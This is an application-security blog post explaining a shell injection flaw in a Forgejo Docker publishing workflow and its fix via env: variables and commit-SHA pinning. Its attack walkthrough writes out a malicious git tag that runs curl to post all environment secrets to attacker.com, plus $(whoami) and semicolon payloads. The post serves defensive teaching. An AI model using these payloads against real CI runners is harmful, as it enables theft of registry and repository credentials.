Back to Blog
high SEVERITY7 min read

How Shell Injection in GitHub Actions happens in YAML workflows and how to fix it

A high-severity shell injection vulnerability was discovered in `.forgejo/workflows/docker.yml` where `${{github.ref}}` and `${{github.ref_name}}` were directly interpolated into a bash `run:` step. An attacker could craft malicious git reference names to inject arbitrary commands into the CI runner, potentially stealing secrets and source code. The fix moves these values into intermediate environment variables, preventing command injection.

O
By Orbis AppSec
•Published August 8, 2026•Reviewed August 8, 2026

Answer Summary

Shell injection in GitHub Actions workflows (CWE-78) occurs when `${{...}}` expressions containing untrusted `github` context data are directly interpolated into `run:` step shell commands. In this Forgejo workflow, `${{github.ref}}` and `${{github.ref_name}}` were used directly in bash conditionals and variable assignments, allowing attackers to inject commands via malicious git tag or branch names. The fix assigns these values to environment variables (`GH_REF`, `GH_REF_NAME`) in the step's `env:` block and references them as quoted shell variables (`"$GH_REF"`), ensuring they're treated as literal strings rather than executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixMove GitHub context values to env: variables, reference as quoted shell variables
riskRemote code execution on CI runner, secret exfiltration, supply chain compromise
languageYAML (GitHub Actions workflow) with Bash
root causeDirect interpolation of `${{github.ref}}` and `${{github.ref_name}}` into bash run: commands
vulnerabilityShell injection via GitHub Actions expression interpolation

The Vulnerability: Direct Expression Interpolation in CI Workflows

In a Forgejo workflow file (.forgejo/workflows/docker.yml), we discovered a high-severity shell injection vulnerability at line 42. The workflow's "Compute image tags" step directly interpolated GitHub context expressions into a bash script:

- name: Compute image tags
  id: tags
  run: |
    IMAGE="${{ steps.reg.outputs.image }}"
    if [[ "${{ github.ref }}" == refs/tags/v* ]]; then
      # Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
      VERSION="${{ github.ref_name }}"
      VERSION="${VERSION#v}"
      TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
    else
      TAGS="${IMAGE}:edge"
    fi
    echo "tags=$TAGS" >> $GITHUB_OUTPUT

The critical issue lies in how ${{ github.ref }} and ${{ github.ref_name }} are used. These expressions are evaluated by the GitHub Actions runner before the shell sees them, meaning their content is directly substituted into the bash script. Since git reference names can be created by anyone who can push to the repository (or submit a pull request in some configurations), this creates an injection point.

Why This Matters for CI/CD Security

GitHub Actions workflows are prime targets for supply chain attacks. A successful compromise can:

  • Exfiltrate secrets: The runner has access to repository secrets like REGISTRY_USER and REGISTRY_TOKEN (visible in line 61-62 of the workflow)
  • Modify build artifacts: Inject backdoors into Docker images before they're published
  • Steal source code: Access the checked-out repository contents
  • Pivot to infrastructure: Use stolen credentials to access production systems

This workflow builds and publishes Docker images to a container registry—a critical point in the software supply chain. An attacker who can inject commands here effectively controls what gets deployed.

How the Attack Works

Let's walk through a concrete attack scenario using this specific workflow:

Attack Setup: An attacker creates a git tag with a malicious name:

git tag 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'
git push origin 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'

What Happens: When the workflow runs, the GitHub Actions runner substitutes the tag name into the script:

# After ${{ github.ref_name }} interpolation:
VERSION="v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #"

The bash interpreter sees this as three commands:
1. VERSION="v1.0.0" - sets the version variable
2. curl -X POST https://attacker.com/exfil -d "$(env)" - exfiltrates all environment variables (including secrets)
3. #" - comments out the remaining quote, preventing syntax errors

The Result: The attacker receives all environment variables, including:
- REGISTRY_USER and REGISTRY_TOKEN from the workflow secrets
- GITHUB_TOKEN with repository access
- Any other secrets configured in the workflow

The workflow continues normally, publishing the Docker image, so the attack may go unnoticed.

The Vulnerability in Detail

The problematic code pattern appears twice in the vulnerable step:

Issue 1 - Conditional check (line 47):

if [[ "${{ github.ref }}" == refs/tags/v* ]]; then

After interpolation with a malicious ref like refs/tags/v1.0$(whoami), this becomes:

if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then

The command substitution $(whoami) executes before the comparison.

Issue 2 - Variable assignment (line 49):

VERSION="${{ github.ref_name }}"

With a malicious tag name like 1.0;malicious-command;, this becomes:

VERSION="1.0;malicious-command;"

The semicolons allow command chaining, and while the quotes might seem protective, subsequent uses of $VERSION (like in line 51: VERSION="${VERSION#v}") can trigger further evaluation.

The Fix: Environment Variable Isolation

The security patch introduces an isolation boundary using environment variables:

- name: Compute image tags
  id: tags
  env:
    GH_REF: ${{ github.ref }}
    GH_REF_NAME: ${{ github.ref_name }}
  run: |
    IMAGE="${{ steps.reg.outputs.image }}"
    if [[ "$GH_REF" == refs/tags/v* ]]; then
      # Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
      VERSION="$GH_REF_NAME"
      VERSION="${VERSION#v}"
      TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
    else
      TAGS="${IMAGE}:edge"
    fi
    echo "tags=$TAGS" >> $GITHUB_OUTPUT

Key Changes:

  1. Lines 42-44: New env: block assigns GitHub context values to environment variables:
    - GH_REF: ${{ github.ref }}
    - GH_REF_NAME: ${{ github.ref_name }}

  2. Line 47: Conditional now uses "$GH_REF" instead of "${{ github.ref }}"

  3. Line 49: Assignment now uses "$GH_REF_NAME" instead of "${{ github.ref_name }}"

Why This Works:

When you define environment variables in the env: block, the GitHub Actions runner sets them in the shell environment before the script executes. Crucially, environment variable values are passed to the shell as literal strings—no interpretation of special characters occurs during the assignment.

When the bash script references "$GH_REF", the shell performs variable expansion but treats the content as a literal string. Even if the value contains shell metacharacters like ;, $(), or backticks, they remain inert because they're not being parsed as shell syntax.

Before (vulnerable):

# github.ref = 'refs/tags/v1.0$(whoami)'
if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then
#                   ^^^^^^^^^^^ - command substitution executes!

After (secure):

# GH_REF environment variable contains the literal string: refs/tags/v1.0$(whoami)
if [[ "$GH_REF" == refs/tags/v* ]]; then
#      ^^^^^^^ - expanded as literal string, $() characters remain inert

Additional Security Improvements

The PR also includes three other important security enhancements:

Action Version Pinning (lines 19, 22, 25, 56):

- uses: https://github.com/actions/checkout@v4.2.2
+ uses: https://github.com/actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

Instead of using mutable version tags like @v4.2.2, the workflow now pins to specific Git commit SHAs. This prevents supply chain attacks where an attacker compromises an action's repository and force-pushes malicious code to an existing version tag.

The pattern is repeated for:
- docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130
- docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f
- docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9

Each SHA is followed by a comment indicating the semantic version for human readability.

Key Takeaways

  • Never interpolate ${{github.*}} directly into run: steps: The .forgejo/workflows/docker.yml file's direct use of ${{github.ref}} in bash conditionals created an exploitable shell injection point
  • The env: block is a security boundary: Moving github.ref and github.ref_name to environment variables (GH_REF, GH_REF_NAME) prevents shell metacharacter interpretation
  • Quote your environment variables: Always use "$ENVVAR" syntax when referencing environment variables in shell scripts to prevent word splitting and glob expansion
  • Commit SHAs over version tags: The workflow now pins actions like actions/checkout to immutable commit SHAs (e.g., @11bd71901bbe5b1630ceea73d27597364c9af683) instead of mutable tags like @v4.2.2
  • Docker workflows are high-value targets: This workflow publishes images to a registry using REGISTRY_USER and REGISTRY_TOKEN secrets—a compromised workflow could inject backdoors into production containers

How Orbis AppSec Detected This

  • Source: Untrusted input from github.ref and github.ref_name context properties, which can be controlled by anyone who can create git references
  • Sink: Direct interpolation into bash run: script at .forgejo/workflows/docker.yml:47 and :49 using ${{...}} expression syntax
  • Missing control: No intermediate environment variable to isolate the untrusted data from shell interpretation
  • CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Introduced env: block with GH_REF and GH_REF_NAME variables, changed script to reference these quoted environment variables instead of direct interpolation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions workflows represents a critical supply chain risk that's easy to overlook. The pattern is subtle—${{...}} expressions look like template syntax, not code execution. But in run: steps, they're evaluated before the shell sees the script, making them equivalent to string concatenation in SQL injection.

The fix demonstrated here—using environment variables as an isolation boundary—is simple, effective, and should be applied universally. Every ${{github.*}} expression in a run: step is a potential injection point.

As CI/CD systems become increasingly targeted by sophisticated attackers, defensive hardening like this isn't optional. Even if you trust your contributors today, threat models evolve. Removing exploit primitives proactively makes your infrastructure resilient against tomorrow's attacks.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #18

Related Articles

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.

critical

{sample} Placeholder in shlex.split() Lets Filenames Inject Args

A protocol replay-check CLI built its subprocess argument list by calling `str.format()` on a user-supplied `--command` template and then handing the result to `shlex.split()`, so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in `sh -c`. The fix wraps the interpolated path in `shlex.quote()` before formatting, so the path always survives `shlex.split()` as a single toke

high

package_abridge.js Command Injection via Unsanitized CLI Arguments

A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.